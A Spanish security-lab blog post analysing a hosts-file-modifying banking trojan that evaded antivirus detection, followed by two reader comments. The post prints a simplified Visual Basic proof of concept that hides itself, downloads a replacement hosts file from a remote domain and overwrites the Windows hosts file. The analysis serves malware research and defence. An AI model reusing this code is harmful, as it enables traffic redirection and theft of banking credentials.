Una parte importante de los troyanos realizan acciones de modificación del archivo hosts, son los conocidos como «modificadores de hosts» o como «host modifier«. Durante el análisis de un malware de este tipo en nuestro laboratorio, y con gran sorpresa, observamos que no fue detectado por ningún antivirus. Lo hemos analizado para ver su código malicioso y comprender por qué no fue detectado.
Dentro del departamento antifraude de Hispasec, una de las acciones que solemos realizar diariamente es el análisis de malware que afecta a los clientes de las entidades bancarias suscriptoras de nuestros servicios antifraude. Estamos acostumbrados a tratar con múltiples muestras, aunque generalmente solemos encontrar versiones de las familias más habituales. Sin embargo, de vez en cuando, encontramos alguna muestra que nos sorprende por no ser detectada por antivirus, aportar alguna técnica novedosa, etc.
El análisis de esta nueva muestra (con hashecc58e97f64ca42fe638e499a2ad7f50a3008f30f071cecb71b2c223d7d8d1ac) nos permitió observar que realizaba una modificación del hosts pero no empleaba ningún mecanismo de ofuscacion o poliformismo. Esto nos sorprendió, ya que una acción como la de modificar el archivo hosts debería ser detectado por al menos un buen número de antivirus. Actualmente esta muestra es detectada por 12 de 47 antivirus.
Un «HostModifier» es un modificador del archivo hosts. El archivo hosts contiene la correspondencia entre el nombre de un dominio y su dirección IP. Cuando Windows resuelve la dirección IP, va a consultar primero el archivo host y si el dominio no está dentro, hace una petición al servidor DNS para recoger la dirección IP.
Un atacante puede modificar el archivo hosts para redireccionar los dominios reales a dominios fraudulentos. Este ataque se utiliza para robar datos como, por ejemplo credenciales bancarias. Además, este ataque es más sencillo de realizar para robar datos y credenciales, comparado con otras familias más elaboradas y complejas como Zeus, Citadel, SpyEye, etc.
Para explicar las funcionalidades del «host modifier«, hemos creado una versión más sencilla con solo la parte maliciosa. Esperamos que sirva también de ayuda para los analistas de malware y laboratorios antivirus. La lógica del programa es la siguiente: (1) se esconde del usuario, (2) recoge el archivo hosts de un servidor a distancia, (3) re-escribe el actual archivo hosts, y (4) termina su ejecución. Más sencillo imposible.
Código fuente:
Private Sub Form_Load() Dim oHTTP As Object
Dim oADOStream As Object
‘ Ofuscación del programa
Me.Hide
‘Descarga el archivo hosts
Set oHTTP = CreateObject(«Microsoft.XMLHTTP»)
oHTTP.Open «GET», «http://bwjdwqh.com/ht.txt», False
oHTTP.Send
‘Re-escribe el archivo hosts
Set oADOStream = CreateObject(«Adodb.Stream»)
oADOStream.Type = 1
oADOStream.Mode = 3
oADOStream.Open
oADOStream.Write oHTTP.responseBody
oADOStream.SaveToFile CStr(Environ(«WINDIR») & «\\system32\\drivers\\etc\\hosts»), 2
oADOStream.Close
‘Detiene el programa
End
End Sub
Este código, como prueba de concepto, lo hemos subido a VirusTotal para comprobar los resultados de los análisis de los antivirus. De los 48 antivirus, solo uno, McAfee-GW-Edition, lo ha detectado como sospechoso.Curioso que este mismo antivirus en cambio detecte como malware todos los programas VisualBasic sin línea de programación dentro.
 |
| https://www.virustotal.com/es/file/f708a2133b3b9fae65adb7ff152853a2e4ede857d8912567210d9606a5cec8e5/analysis/1379951161/ |
Queremos subrayar la importancia de mantener actualizado el antivirus, así como prestar atención a las alertas de análisis heurístico de comportamientos maliciosos.
Más informacion:
Hash del programa compilado
SHA256: f708a2133b3b9fae65adb7ff152853a2e4ede857d8912567210d9606a5
Análisis de los antivirus:
Análisis muestra original:
Laurent Delosieres
Yo lo que hago es tener mi fichero hosts con atributo de «solo lectura», supongo que eso hace más difíciles este tipo de ataques.
Te sorprendería saber la cantidad de programas adhoc que modifican el fichero host, sobre todo dentro del entorno corporativo. Lo sospechoso no es que un programa modique el host del sistema y redireccione un domino, sino cual es el dominio que se quiere redireccionar mediante el host (un banco, una tienda online, facebook, …)